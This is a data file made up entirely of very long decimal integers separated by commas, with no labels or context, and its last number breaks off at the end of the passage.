9192760274059606649424486367235708344969793930921209857458
9919053146235023172975348143320194055672038227702342481386
8141065580420651887205288500139075290528466098254391659438
96127854409039850535861,
6805122681264636025920126919926406473738749143493788169990
9527773245698032219410234992335519202434378853740845577781
8209488295343655447192924227302510456908349482391345153295
9745388610357879128352266047916162085625169802462023210687
5399903727708840717571963739116477875526108498912419864511
2476628714081581567691,
2036770984306156566972697096827832258106992050093922250477
4453278852580660562860315757004378697502836994068956988517
3767011387479547345174177177886968239819972153985361510197
5877589471438678289276416390109662479822313519088122635592
2283172175424709695682953137901003773666875959505331590713
60632681172749133522517,
1472590517601930525062117460150202339268008536469561978296
9473100830834758928315403152689836014398736286123194430200
1338376282346115199587659508680013102338215307558227948072
1568370183362750122834635707649490310547741639424443943720
7939313593414324672414754063403653078743725225087137630210
95473820031666368639359,
1788238610313310704962666770871309854444993761921824512656
3535266419188652061187267625801838579075785149487151235499
1899113697608680068871156499832624930754912023341084891786
7375516484806237453828084289639685717207171263220464379494
6099119533200401927265837814333016241682726767894216183831
63515052408092030322823,
3093335012781868533209656373849939754784717813438924729945
4386209666479991515732414805910015979280178085800016713129
8769865134883672493280478702239493701473576614649029317515
7257790225858272082949583382064947881263203411222974230358
1974568721771764847615088204424329237584441884344921662064
90957817624047385045419,

1787908822241504139063395775494628507970290783127629078351
3385774363665688162921945176436863037082283819366468703102
6502757064077803527563065427989637977856570830196247109291
0844744308214654158105123803179932674659238726583891765932
5005654618661950964002902556455597592157425686311079694835
91731425729372816039888,
3193028174975743000742905500279035627490214079324707452813
8815943010661955431427924746452166966038951791589645954281
5122583336413322040888876826767983477001256305391963229972
8223893680760034938208301780879077261941166697218534998924
7458384081691543977800150545259988272421401773538531014891
45075975944025533771121,
2524825803168907365514943541355616092188938635490518987757
6081440229661582447876526503266284100484838149550090262063
4106916043737260516593527980583753776275591967207999930568
1308502905994688128049538155938423940102258614141448833381
5980891670526281338696636507348518933818107173232779165595
42565987305787660400881,
1404455298564129512927128847934658307993807143538409311745
4321736609973319583598603982672628400150927348814445660493
5273705815003203800284669645678481107753910977690413951488
8930052907602490930435269672838295532403239123481575321689
3573645596920897083680561546290970968681099126510252176984
61036043660682279235763,
2411635227238986212319414626434881461593748689522477786165
6588910620784139592941187903447134071296830450119702285512
9658561803840881309996828905932896109538222136610354787895
7119175928143546668859599489203505754347949717431324563650
7802975201576316347388208742948883666865766406988358131398
84850730295237623515748,
2852187698231494479259883180950777638245462872398847535937
1222309460203660727207792281693974814033868930503168383184
3857674152288887126810098317480115290182619799980470209316
6254217987622318532366546214578839646613546651764768446753
7118021809730561521259691195539512529147541493092605571604
94479319758444387018397,
1594947840612775428901627494614117961582163585743068895317
2923021172523426717669323510748464346176658140245005633966
8549688106708444129028637244024146440085433225103392622711
1564221317364397971789306680349067877024534819015097701872
7089126174143376863342545525544186152691255067645288733118

45282503142732946606946,
1714026310298896844503003102189801346913026275793074419432
2958633417481960536481637571472923882293890259544029685520
1983295798100881400118634033708256752209705721791648639992
3101703021420038603714388528261288849225801359178838005165
7259610984711683151826077005806833129391937870164208326799
61893866773654483410439,
1208182044397505362765731416443281613859031278431304194794
5647363407904353394077475076969155214477004522445058083870
5539779587924500051803725635414699379629623610113235177264
6022841792610594442366562439910627563724402646341624350061
3734784455726413371270481603573323249283985957451050526465
69373699159241742130617,
2423172102038614302828947267666915395236977463655128364505
8434207507901977582448446502541457615865271069078889251507
6144418346451382400414560412658391403880786505518366875139
8375164018141243776392514277338582716150075994236650776932
3809287815109915386566218087273027092265960190712713012634
06429619863951290593447,
5606885414189871218821538349539914720094636860456409251996
7637502213291210409138465007036340365930563694482695396328
7221387631423944340357179409927839279057029443049898983690
3376339753599851984871730606859202248529548654603657472921
4696851518885047454125970275399841296053897537893174420926
3700886607747126895110,
1685672631804911749070967638747155226566947076858296853146
3174750744704020747721202806626632284247232013931654639221
0938001248419523141208343100586044726879291286565449726822
0258053625518607011185372559349882120280833423487884523577
1954275583223338113753599674947736444806050134934802912031
00257087533380254280038,
7415528062976718297302944630998362096075630068473142704005
8386781851771132197899209147211562338699571769792521418376
3548805605306494019149808623311520145545456199905972573441
8531564556638251209933376152039328242118995316970234084377
9111337445382538041173088429012805654543175617849358896917
6972645693185734488233,
2150841352802169650436292189117801885316207881291761453580
3959978886819161206943172218368676179022442419051312854991
9195706616902233178946918480025830902444962034780091345253
1042951721823541117800335917977917989164063673619859754271

6446391072286086846945677901390463708529865845599462605901
57013707948865890990829,
2168319848390203228796303011377511300366951008072387908166
3851288377738892297014352128326280032722226744142935801468
2936580433136075769976041599477885800962571662859439187136
6622351135461828896958258882242421324339121049108690588511
5501274695592490816998653266767739725536999138434273300061
30804951414949989737589,
1289544767826097577966157949336649171548987282370966586032
4439591774680379290119414881211528595300842629694423423730
8554971278892018717572342979378756888151008799214584557510
2423800976554757860261852716045534876615472947624743512941
4830943762733637728994390801217237511244291361459245558888
35707742204975337550779,
9827118779761727714391206178516871349191996293868669793327
9142696518317947122767514100730281706280283984860078465284
9649683367530630446547594955234635840311279570800332393280
6973089439927573233930717015617360414959972943361898603398
3487129674924995283712664216974921043280259168555226934434
5268272984813137101880,
2252745576106303962924097456526736518980745009272071616231
6673657093135706247154279570883574166152720175745120919407
8160854126213776662843287734381460083398646847298697918531
5632029608243299015886344891213961608643712205812420095736
3197839834599724683543688387724197272270381821214610904698
33271812304292581308191,
9011788948825459994611073182939549735677838356425374031114
6416648764677913557637668374011608309075365144016570237155
5414049421114803239046438348144805329583120648350821501048
4038093077612105598801700831488884147569583888530275031024
2557028869045582279747822949016961958377780951835666277438
8578466356486196280512,
1677624142901374714578816825787315758638094055020726800054
0160732786494049190070757271735734378152242536020335140914
6514147222119567678317710555864748780760805235063914230787
4830954096505296667317218314130344948833049251736082026412
9821613987027594469064451556585173863793079253690146445790
4722018767676699462813,
8354401671840764415911582439775572275175472004734256542463
6114212270807880174449063956102393563846806946301597879598
7722306561284726311174552272341987417298765193289345978092

9056350450574572916771346694309776147262223202830209799647
6090315568275252497155522751610172086035835396323962734827
0479962433408972074618,
2395631378446042404762958332056021297765542465217565002770
3908804373020215369506760407118943966926407440219216779966
2442477451033374449757781557879366802415593736531397697436
9869044895370749533763409517012650967006555263748880585975
2130304012136678276893074527200037361788725812320771728726
34008619312247728987560,
3029535783091559491564655349983544122722126060621504542269
3675316977876966820065317301754486003436699580138354443984
6799716638147439982208694989034114655905346473879308005556
4447594912393990491911339864328956578646420657493287872038
2295697676564741187534188748284585934103193114940314368716
19916393640276197283639,
8442728723722032661840750723282715834951507297048867957612
0057297836360713440175153548339700675160977585501331438314
7598168057718557115335366058659862554392010697513155478002
7642379439129258601103002643796172871195734206978972390986
0941453599629405438882660161046660078818954260758358646142
6884945540145564359336,
3277310337327065273914731859778800621178441782869003348299
7226821855985518561899578174439079095559602496037816109407
2900276162296450014547202779719172155169833771231234527830
5137528396571186191714549675552068696526533061522838641247
0043590945927619813798995040344386830347555322538934194578
99619591397165135066717,
2254132201661653336143127960809400613308965962389650942846
6969623609043569270176003659217554198834608660436686340268
4840382396508718490414960127413448059707680731182725307159
5777917852195083193189235649214507507736291640096030724021
6818509299894641721174288376171157385291046010839613736610
77922466007280021569328,
2444324832284094104178500497580399876566380518398116633611
8238187536300612480178685312743591793886971653495322322651
6074395815393515687675483553515850705982660711984190810832
9167050149565439006543690703815805628721581084257335992271
2050955212075983055846150146291215539781527521959265720698
79003028546888160408637,
2010024476831683637299187494576591145579628794932343995402
9893342298862137591268082493219561181282977000741451639089

0284374853928520838815553253794264353172503499724754842114
3490999019329455548329233148094868784020306717751565204359
6289396439481944708538368613641086646137858707450401041670
79446245904768626335431,
3184108543853282090442752167268525221412096603736652817704
1310034805629208440964404619274606371309761083079049563211
5870788751719669917451538756550903730971430179678709193403
2684077613950835677664610027076141109320713344684146514916
5129577019900349593195803012566908451809494300005479889851
2000729858460330617660,
8438769404576513406775558096118090426404372902275006418380
7431972076937465891578878616948500386490747149903063757652
4758045266827801225023736868325244406188009918362683568171
8456900242153815851621653680892852838829006742015844556840
3127566073559859576870343736361196183597396323791490469166
9696369032176904820827,
4211853692695647321198050179279107359141500555883229239076
0341404333331582968356484325846935203895396541829053483316
1779936808615143748377273402945599805890312246023063426605
4438496918808995031651254668135686634378775630161337713482
2446328565302686722859124704191032861698833894509898215701
9174047200944104067123,
2815693688394420493823640909610893903383624381511869486065
1683303675650126608762868592780668214863766479235567241461
5786754084532136947407262433006308056290162252361681414744
3483034298635500061368103437170282686273846859374551512649
9451077649997668849768091384083656788825286112802022773536
57128608537760951469155,
1207930294273449114750735594475551758341023483011122593043
4583659012346175084526285264618340993911080248359632615448
5109802980986840800437567786895680247862811288450865827758
8688131665409783512787853054109787893964973608965262204406
0549654396786029725374913625525595241846362337685191713917
72834163413947911176192,
2867157563857471320348134817827111770944359723972065596257
9893742729180638609268518582183991086558454174637026644370
4161909329233454406400568182325641830746048683062423028148
7378264997182136052137051624226050893776610797316093925083
2312142536526153101173931201729401136358795723576096934996
50002194597554290400190,
2643024691623238120803601095040943906292405907043066922711

5495467127837320597215676698597170177191138079909125794046
5436744958075962781488487337748205577547361621558602207726
6137706501395867208048253058350921629537497676325012753528
4856943355917412636374464118693051747600222799046344790263
1463197897874006400315,
2949508469417513169285326009743411923633068862196853057868
1871898762888436306789221757104524515566420851491301780918
5867810287409012826698371841817637158311408934258474396657
7363456336097351231515998590900842223429237369080477397709
4679348485573318393990866407712897810028562402631334304210
67254223969412534427172,
2291060488230114961065013088219619087916506296078739532487
1387655844641727003963517166533720895200661354373035184745
5426146341889447123610039007130311462451683003865392609160
5204998845321757384033753266165466549051314665241758143139
8110586020515623998614669813352787438839896060831446241049
58666758441580732951499,
2774654236565183657516521244196704355034747433031312436397
4701879474459707122898112074656275453443234199961866832369
1544396755391575906184408043516956999959508688863999010974
2755514049693356730630834685997487345081686692433725660401
6764274129569224570669119371300980835747479405108194639082
21116566280508442637564,
1303739058800776258818844403915466299524952966291633859108
8266119614736226021492589598326885130422624819645316927933
6650435275055112483224060587663569117823088405615552909559
9169868591824824578405791462090979992166813534988173107167
0644140985666067594960634139404470446671096089678057975709
65722894586144871855872,
1830529114867666864033992667699140798039550786461470009165
4746858496240352770359127374190659087437587042017856832320
6544178820073155455989040577628418638835257824165523906435
3824038684860563313383300667256129865606546020388960662583
3248453164757347544087138338310478413754519395266124322631
61515217180094836736456,
2287501501633612815024237139515858430286377150328902596635
7619146715671564065534835826380143486147083256786506744558
2437974426469366294564308846204791141632367516535222981881
9901293980383805404930127803308652065017307181227308037062
0030799889598694646219291498098555719468784330003870425269
55310892003814749874702,

2500526335616336648668981384686896058279860408068984087677
4799872556581149400581883006557382044770110913652194190706
1145919783087256098387135373780396053509374352593741749214
1874301514533444122387824643067331395437682025746077343531
8852989365013186554089372669715597464113715163477444901647
77300169545125386601591,
2923783701590857516862899922145362026920956829325572625863
4761635389424201145849639499791713356931101552784383534636
0691193189336637249257335795829054633470061011334126337482
9614362803447611697114764989595348713027136994032786274293
5411411997206444469004348324991735305248152175733417090422
43791524339226675515640,
4731109236912037902185398723909689298134497724702511958492
0899365874941422877724095717901709506413318060626727613783
2125823602011780667475514378304454646626227563513981006542
4873954833089112658075945560120755156329286264756651682889
2100172186637127566198672048070500628541974502296467623075
5023996406887086784689,
2991895625995604412774401893761686365059299493203684652077
9757265481013342492176121268957953953220677501495644744071
9100811321811049760250331370450725764346180300568357930098
6227735565337885537414154848185790813570237061217173299760
6762829797683487297151341506838179992134269956704468248356
04120333172331057111314,
1997092348931277771577404448339203943949046724561222940986
1190542971619188054109896095411143303185468429829449416543
3113492660207867902939382165029084388433704570513204591835
9701366906903647314268749901801123886760549121177461628325
0759298288710233246171268690921687758741998689887656555355
01226858552344202299017,
2787185541623989916182365432002624758402931182603842677027
6168532300139915141495395869039135667634191203590010982954
2866583926800673074178968914530119256801748522113789075064
0407568075864822435024183880414549802013747085802992493322
4046989144340050403674132686710065219327040478480740097250
44788675250924106993011,
2881349658968071347649389535867824148282768545799382902376
3939841352736784392573737955110894048866054320623215339776
9554243649184098812391892668409191299600217930453591178145
8187489882354368882924770635010752341001443570794404203591
4190409642561919042639433402185356934423725896397652817221

87719837563374484357138,
1617415345817956914536630914761038163990955229790234506815
4410522747150549070882008112602549575025296920409168542629
7259638983144620159080992875972691905073837608889773701504
5555646085274741240863011477641829605915818776949107222680
0445673489828692705279139361267666884821519190221650915425
36142341826625823471990,
1068305830295376209929017807357708372456638328084770175498
2657123043811542355288834975408260745689377902145292665098
9880655101785869716896559247337546619011851198996466348492
9164268402583640761561945687224572958803988701361278620930
7853685731411369181878428095466893706145270929798202509435
70093538963626272515328,
2304115323997783482833084927320153531284085519237227843547
4902460759806807464901309688604712508554431591153610475010
6568309186319727808721710113276368183313027060818613498772
7877455840302882384076657319138208597526081744116213683487
6044554977335934070912363117346459782620023356508399538572
24619798554139005861001,
3341196165005318219535691388205976547265874186945528578882
6116135783179716126415397238261611228514444663400672884853
5740526600529450373730523220656383649056794134753610292850
9570686714140662672516641030494682130118580377322738780645
0695613309048203011791558845941318905088275860620100257226
26357391577809325904498,
8920753366619547806575336508479190558148806065373541619386
3089273809176469375031443464150896423884815840099669047194
0674299796201043686084662563007853977394799199453764785828
8510402929213027273720860272459416935183194156864116912492
6491258520108406473416500213371746505812373019717570994512
8400760641677703241290,
3311139486142241796255105511106144968364818069744577516055
6367596787380848985432512391994689941020936573619910779454
4306666348920877320529901488689520086931306358695933730163
4511044043754178875716647981519345782257444332936517879397
1169626262929455242612906997893614232173816717830050182316
01597711784510050939306,
1937520688033481311612069553920447929186341137120117716111
1843432078521949425650413186172905401464362867558002838904
5981315311337499657705073370406163045665242384885749179084
8961100607083135875401328796592385196756863029732516344424

7152820473428102736491405871158330584742027170326010277302
9895557610631447319959,
1970249515945671714301483542356596428129511770965360647761
4104897438025098123025884928733930299891006027432398036049
4105585543807252708331583244093331246936452015776912338560
0005292024522166827581138587155329084134241035156342184379
6253753874251124491729843727618817318586372228073329755513
59006947694295903902558,
6079800380327558558860194014380464680147127385471863408522
0100520880566791638680558647905493515413677139945127427771
8481530742325229837415093363113761654116889465459967508608
9200285952322985968380415285580301979249419741614626631031
0308975806576780932768218530164239255350664532416662296564
3427083945012398503891,
2307447594942741847218294753915031654699271764778637052404
5906236395850131700715087766991423410480378391432140983643
5824288460772511204297489502311593099950784857518505550079
9441616708158239952836207219677095561591415881444338388800
8022839583469114186139154070607586161104289258547577344543
54948626916028705314973,
1444217422031130012839174149207822163985950743543625622816
9169427294904313728405978306302668848843770333651875429520
5188486644902472365428534352417452354861723465977110184149
8793746524250312540989762458342790485490776190139889230215
6387948682872731782403290986568568834352099808161150178489
01821636923377880323876,
2042204999486795584318696593659738848981835304728146862716
8427297772568609164713587238098051926109627006911177457301
1332056410456083104406881936813857740517781919253717567363
1110082578444994332696076985819577032462904121365632750712
2522242388523246708517564580213030324417895365187863762715
1171907953813621922238,
1748015764259115614404283988165615265906088968265131690553
3205967941193734136028102335664890208697699999590799263611
1042892237200799723446609089391410665936452873383467443988
9963598462190908043427443443898064472627584220648355543723
8902556489130042489515155151918580522822841485178039181652
60632917264932119246128,
2081391087505482882684543619214673721774689825426447596439
2731794258272565817137638365545553233695648032371362445775
2941227346590720003298057789528760992162167459822293313968

0407149154632013821545711328404619791140102012815730899288
4817714491895065709119211247258151993169444678090453780044
93135951549498405651504,
1852361908782060456841035654785787689428596831310451801405
3630908764603097646280674629048508249058797946746726676905
5942692673639502968795496545971438325339504679641874770122
8500116134953567937817616523811330333939527943431280174380
3277928620571430273731101080498692796156042710776013209579
35534716381734414475421,
1529252069191865388951698476540310285133177232638517572495
3771287791860002491828686358840871568797734425973616884443
0830445364909725188007997666210631684444771857516138434763
2446412772811125150927142529222736410352545725964592687070
1479680288795775138546740615933992259505209132246460083067
32386404596304750249217,
1501132554857110544676204081271556077964369693967416678588
8390302304192359105533786477311057469718106844181935405780
0344469884792996056375404892056385633504326315173867063044
6542969496248443261628554521685160086213567709623886145753
3948694733116440227139606672492927583830753062575478357598
65530414071022974630590,
1980229244867936290246420685488207224596262779975073670983
5758431168025639481302174722832596005350133398598325492798
4454975313990956482374380744518116438388738310779354248426
2220202114079664547728998674804604731383518984634175767526
0880240152467204971660843781659288061341544199527286244850
91545118772949333284435,
1008996235717095698664613306408314423687879601044367329485
2916558406817948276396595516604836860016614413881108507573
2585443471984880373222305875523811034970246660463630461463
7572925858883429456425834609064402973318665856351875056303
0022340127677830231691231657882255763124039239238227029880
96276573041645858401613,
2619802624593776894698722670393909537699896906810953623227
3494782350923550395088964098440648598145257260103920338783
2601850928871580070702825094529702857443039989266395168845
7466331298831502304651393297924901953280794381395929626588
6804369813167516605599204139580388626479335505882593142718
14187466242689990215894,
4906272370893510633557623775760523214507792671151842130345
3752868978096525259633644690955312698849623214825848233050

4772489736782126194553686620285296090937844086123891873555
6311302321585847175110957908087453665635772641517625021921
0748397198316530261520875686637274569251273872256215292479
6664496219837598996105,
2702441033707846481585981722772763281174730069007541904799
4793022044834361686179008358852158790298735246753891733200
0562572123714418695960435492395344071317278187144305806012
5959476252341570714146404570165480482586947192532096987436
1955145065489531560897374779367880802920301584058769711945
42014087959085001689563,
7887551697886714946062380951536412335695475789274370507000
0958574457812894407017507710517388453210429059021907617182
0940303345261357295814956079139767677856488698499719062385
1890176617291535250876436660108693666077695747272000475726
0801468526389516319624986496684960357317383549235259042680
4466022224955523472838,
1619006200386576957185391198103095172321180412825275110672
2551387887314634514649468467067040431780669761935397458894
3962049451611256131671412805554028363513930793360027918163
2780406538026416191753496843088839364389355391910584948091
9230165660507776499697422907981442912543686875410189975613
72034456583125725305432,
2466691850496363394348136655701369718341426406492416317712
3436149983989174525172022424098641315133090755972206800060
2522243423715865167985794866875677202821504688143921953948
7083258572789167360379938877981308906143713801182331535339
7343765098396323882149229660543943889354614644778364067367
94102152953344971789529,
9068464633750906863393104768070121774726949223419365252295
5936465672052483837642444046159632901494578449639186186904
9714147719018022524303772653938064252702849041044992044683
0264850760486163668360778336304630800389464966215082897059
9173925570556313719095438856399138596433929802755983971308
0251280557867169572392,
1796109508696571853136650050484389158050959341212076431561
4342161799638956125790228508736665444646002864416643816884
8133742719625542764014415912276384000528387946979595576827
0733027681334485104741793825699003972309174187946804961580
7409231842619907145641793557350985750977476569448086245326
35398995871468127066953,
2465997750734847285223328221919978707573570292088815811104

9103720268104668278386253769089911421478388487084817366071
2625958518860107427507913283715684744069311045935914548252
8494019922394439160180969471387744450970019760234024838997
8918734601088581428497683539616231826579037052199696164125
3636162482640700629886,
4473979341013415170192432635494949338242502725682563555691
9040623720412864146001028692844794928705956947941839726176
6792341854755239890435542200455317440950883252273170010538
0604698038789254944303458007479975995048613366907449647102
1951474892006863545338963100033359350580001561162217076172
792181473796093737940,
2449771708845493163236899876416042514820762281097324233370
2860912300260631531342067213364971760499103024716426485436
0118015814984386097854655874363279710007788209074346449054
1545975471848934456278981705878338050454445314680701592742
3465658961185809168969024282191644845443043059067054443325
90846329157610418236334,
2965368262802924207777330485401692708770370579465250743685
8080971136209134754568783876054463727574365807182625003879
1882316072557493814949004975362688667488242034173509817013
9942105235755747430373770677674454311859390085824698709758
7263078456789837060609431407612449464604032744140394683345
37611321002962656521077,
1338010001766409235521359234863581997049360308190136397716
0169123604920202260423642954038779834956989264707521046637
2503070090577708799697925087116069280402708136831757429695
0600020806208195083613810912479352845366236133760666008491
5270110915090557758302211070767262724781523484225161781910
60804557514642671847649,
1641634101291646990504178261174446726517348840713523883281
2418938118446911018258583662317351750827181618845812818967
3321476956733212590484372235136691816378323797625709619268
7160093432872346471624246071619022601127972238614100037845
2697259560628493496167911957133147066213636734945152588285
11430906861455966227301,
2232190124991086964417735803465181717835638446498753730612
8055092977115706213878424666416724221849509068864186151408
1271327894919709167816605015613314427648967033078461094774
8911240599170009219193766262163292978283262876332464035830
7515657129544143019201842357743181520754728182911390992355
37744300749178934295257,

2324732555827885443523600210069860150934890219986239852937
3248390145759870133876375193488220201862756826554037588204
2304710912145587222212702378477458834492651659009593534139
3478447663311582979183488037540471259715623406360858052198
1513088616440118501420339513018073220293019945119727760854
07896313152099986006461,
2289351926326619610953169522059909284570157990225795348655
2177888903800719376976188818259765365741957793590071164396
0335456978821400444204362706938209433846693807372347883403
5713934730565197307741883839829354022193920978416505386396
9301052651455880117301336298704819429419139294911561617832
48802340066371801639181,
9120424391309153395188605944159190789911076876652533702400
2239996749681716578574707906157575765650062140463988579803
9405197223887138949279840694189556616012170869875963767586
6540713009772182881523338769668104031808216056359482908271
6419466636826172508219206813706645318472348416868720401610
452845332586542390186,
3181378005893950782163166375953959095893483673623334970741
5126121489604766089953117271911093829820412955171173921434
1380689205449383088803238451249313489700372943364072304737
8941476679789700599536250975445800095171817705493002203920
0145470185944934342438030670309295782388196911584604227161
80834755397638306669297,
1253546284791832209954053267447323691232012227989429451160
6915603174969070900384011233222778827454422426642666616440
0761940558743739644879830709830761712778335140368335546896
2911599369393448851808784686367285418157950007059373107491
6709038006981022836226690652470518373135038678980738239085
09577714116822672636071,
3352249626305463637389688924713219303398932209603885888122
0411035875297234640778405245024665094625622189188790434734
3600774598423501510062389559315275512916054432490109796452
0166362171523179379024838666157589815908614391189981419741
5715741347925802222266773974412738973090906477656043235328
90393785447763468063708,
1539846790045811947791537248182577720888356507127488845838
1098056841545527348613514001551114096699509462922509676055
0909408193661915281027106845383976245626378549108329668673
0990579027938710736662982641040400242813062262777321334034
6219038933149918443413814632496411170999075840292500322058

36233132500271509497963,
1297092224975761431434764347542176758319548374236204796004
8170672352316825261232950226745333299201491073738595653175
0329268549850010631313471249248576341429255651284625913317
0476967196903184376180352433032703043205994300035924863369
6641251486158507414662226202816118500668369525635389974270
86863440866860150797724,
1235760837115584612355451598105416563565087668641436906948
8023393624608867519250810664999208877704822530254034668739
1307038942922246652315196583184788027091335598283264720865
0347243929411776113378510249716196617501005686498898358198
8421629031158542980549993231623195511300919333726483782934
8215162360435914488234,
1531553513823206043717410072589416902647915878431654307929
6071190820403898407368197219868704049811781408421078973734
1269142292822230588999369819521754362910631841045759989851
0580998245730946216779579551081129562066597799134569465283
0652742151061616249682962932359095829314672529957857536142
89169446799074338297443,
4962837183507621584167990816854546832722328112035937401419
6494416922999147904358305315521819098121729286541529927582
6361847601544605742053535236363092680016662721560423341038
0015650240336466270915394039967213195465523227942404867347
5401135964195186883434217693806843702404033237335030635295
1999414866718546245635,
3147200460800953332174186091342347626123485532790693172118
1572058776145359997805209548442263123433563834109748465110
2971772087697580347859127451039024569852348615599123306593
9817290117387578842726949213444567468051313184073123053104
6074484717976169060759919011997431965216481349249601903503
23423805567912625374747,
1344388053699028132194741562215176737535638233618781367759
3169142759006111119385547862008170382082362920950050531490
5865983138748414902015321475562438261693081162628745428964
7671592383134665189448137944395488293431986555620352822349
2374196758751790803387378970867201234635777946442816252387
37847572319565490415108,
2983701978168512788697584052097950238570929533312298051709
3238296783148852552202298305647882786661559104898307135137
9802618796776160730118735205234585801167753125800946798349
1625059026085212537979817865175039418150762737008585708503

3921520736718871200351072707543926558701441584126398767475
29215256772409672299044,
3116099699665132303856690941201335903122600273654585110499
5456870544490246409726150653280731918636573368121324790381
3319219920143605718199282684822471247852279477679403690928
7274808412834515920826504705497159523801696329605743975836
3861536258658625191808969446327687416980015815212728087295
05681892603493650480540,
1037807183287421112995011034321698722802072965815207660611
9367234490442659743291642530396216595283255732896151992002
6105367040831648286314347513376437620252297447535294586508
1292856062648235950247056249857194001927886964415342681109
5322717624207741552018046001335204289637892657538876348534
40870416773968665496612,
2957792867363734357534796987569626407834227942559995854196
4339212950950810083042604652056607734295771207779011297795
5977281996600477722304117988889351549109373285184141597576
1186575854208614999449271204244015961655283435519051740986
9466289599805217914792556535402663779202560754669640216551
29223414294022754982266,
3168888868677277867859845463598408840344585491735171980226
9934973003150280441758849905465345968200363509353819545516
2838608847389594981619280794349096916606677910770918009494
9666064068966209206165338312405227608256807551733320865982
9471934894811137164052307558431153051594878973245746068443
34239244833244516349370,
2957184179522854284920065488450607304186708986495361829524
6485958288320169435087536777746373772083556720898872364260
0906349212655891544769993525681611000116591396057875128499
2531692855407788305622488520991824521481915887591333418135
7544635127875463004016008562115553873300245004372732889776
31656664384590087899427,
2218069643629509423436264751487467608023405966141618935232
0378862278038896263416957151448986267947518788578998245549
9787526954351717256955763519416019331316317150300955316398
2791642993335906416644679423978961119713446532090275464263
5639763395448121380910504973446535322003798442045065253584
46895361906329763957450,
1278903896377379105692447723216936657237625342145549371295
1852094318187171857231140938342217093699580963567937208434
4568575055647146735042770910113338735621600302841763539030

1692998799277377075542753945326864591063345483302944479153
3663956316135140953585632761370724856790803142047666502568
67106717121839790313951,
1167879190240521473116760035710498211857964234642159067995
2344525703158358901913995920959295416202745160847324385904
4272509229165121422095208462847350345387647655890066639514
6868099852294726150330971217270326617412684265084992752887
8517929034932021326148796328929705919880548822071825138910
68069358871815190976647,
3048992336444502634590831333093739780029010893235661642921
6116784290243366439572207740278929017359515903557413213822
1481561938376008659752590649941978575610708244646295484009
8965887273840462525579796605850315159176092335722391475740
0401297624391835334647144992980414359222230873607907599808
98545216277318209239340,
2585056938240455645261442163226380044685754467682074740648
1501346521134104348374719476639951679807717702767428083447
0695392570148424234624212366428443873931208265287312878713
6744542919799744526483816190916661455129114834542957694842
3979752904514368737440805521515410525313153849915626172240
68260756771343941239139,
5355609978947284061358140205158746347877550021655370077153
6403910680353575851164899447497975933150873063271342225350
3619573430736677564662495553309102034550658134040828347928
2511814238673390801033965759651314623550260787193211756060
6795748994652442365115801817194137841191017157399738348309
3902432550445202681816,
2878445522832151008635774553813024187197921834089738394369
1715285203550977489458034229412098429384868055264983665476
1678811276615755354343371720017065810695334776810792072309
0908510422864513713116154492048146144175109074651242462715
3155468449460371446065108411931053965689098602934270393366
20321512743057491738023,
1988691196498837919888372372381823019710622511112631074198
4574922050203210558311623792634541947786061314472484155243
9497964029671265744770039284562940046864272336606041351179
9749732860479456975294279311632919795967179872136372916507
8659903205926103002620471151311198341058297727148901877386
24978275003560127281903,
1006198781810407800279988201269591744776099011971819393086
1259392880209181420486337675117170953675608308160593507688

3460878355265801810482655283396838773860623133999151904805
4681914473751677287063307419886757857168101967944325060200
8172985068076594479137254715748320724032718350721786102288
54865044342118751640302,
4709694960574881398048246344907226886655789371775698290245
7082364358621006666657643482725494136065709357486008879006
1070753139320933500378017088204880519785609073943704089351
8546890187684862583271927032937741951188352102236313168271
2466141757284018399269471971497337556729573481677188559566
7395340798851554170043,
3251701973276200282458514613816259604305455695552346301804
8071449826665147222869133069006591661549320679279223299846
1172204503340399194719710999713469100687246868187522760931
1188926880509450827406599278887025833847904194534646539161
5851935811618518694666537587739842658947152032713238211904
80894224850704175469842,
2456380606351889956086649398245489373775148086289152942748
3947803443076341108666352235203782975573601638626514777171
5498202714076885665071537886659988409240862159996183683990
8357352381553355468080901087852848703274042356662747170756
4203035565410103243216132645425397267987467439408030297202
76384120071584729843750,
1804999243848328838533553925760450776769673372613429496360
8749441886919872822292403401109282710835550710296364909989
6594636744060306604208859854354431200645109479507888560354
6172132493064146447417307213145970314340031937469556630822
2184910301354628894711614606030827888458864036888503077713
17204051491112767293438,
2833479103227613662555650069930420488358496200119351706191
1394748645628345698378524648974186536722648669194173678458
7860656317291924424029265567807522585475199651946664169555
0166978500506017456119687346670804300765420152886641556110
9956384541355434041218432504920074626673457108775225459172
20161099594787462802866,
1722698412683089524606317624231719730004706038909241310544
5246866027269194115087158761133311550309867154635995837328
9733282182580747753056550890316911002248642660427460346402
2862701011532461345833136862097907017784715089141595868832
1970159502242823305370259149952060705145082337672406945244
53199114970635045872,
1970775236620603529549800344993352261138104038447214074785

0768522749804361139593919968297641160887538996982734728287
6510073309108098573831967457858388469636639448092269769245
4103140041531973620161423023182406372653666868827186338617
2400710881046498329057530749699392917080211435383832350588
53448955583256638805804,
1509527545247881028035000791261456077472055833595994825935
5641622358189335508355573650999139158491140503164144449473
6887241629873567941036275234533775077672887290783759885408
9150979018129508885381954367831078487686984339339489630121
5861012661000667719455084222036084708796399566134728443038
98013178575484276371318,
2423635602866368879510435620757583268945204066787541921051
2484066970252757712719748006399420207747054253363620433135
5858580721390558441124551585797251764526171161262487873580
1820997789372001246604645727004310469133027862622578368180
0996917383804607266731593798423579154711693850992385691676
24187161408369557773439,
3248025275663375018060299927046929128885650218304126578838
1752075732380546368670798003023627147311604845764154032356
8783960685225726585740970346942866800966799169556345856693
3445959066929844196985077058712139097811557381367005403292
8381659308615629774953270550328564865701664145936043562569
4001178502364068398569,
1919957842552852031775570822263289662664974389390214655123
6857884785853989364528946823516627183298140227943149573727
9390784071104714560258221597286008276734907101122149036412
9035030781150693752457172713227153254387006005365066877876
9227496688200583683066027992064632077882317527746758451511
3292476816215633004872,
2360072103848080287448446436701967955938849156956389140562
4884128910947190468149042144360063766711017950542937809364
6714553750838317542043615330210380991547029798022886338038
9924368878286315483623610310756922795952280142858982614013
5001673252857902143817987964282738009411946303116067131773
01447784999808368315636,
2972194245143028521155750853087885687440904383866159529913
5361670441099247990547777533395058263271648686220778152513
8862228745646743379050977323656940565035653659276283915582
7515879247704642037649818141143179801735394949947952748213
0804052128173046595167211368116611362200900450786555906400
56641011698324319282811,

3205722731041233855174778531851535457051400499554538895783
5558509275063225736289216232569294519021871142034154583260
3753116386900107450660776552815318061904822572291282330477
3103524276671797980311669422389017276014575758943180995501
3517491556820267170405266440240425224938505875149637792477
07668145056860491790658,
3130062165508052602597530810474536466575408305245162822075
8778935110435463863358608549517757785036724902502817208508
4837213165519396034143832737230805789043835456543053223258
0511902132891072549691671215212511925302152023869004062571
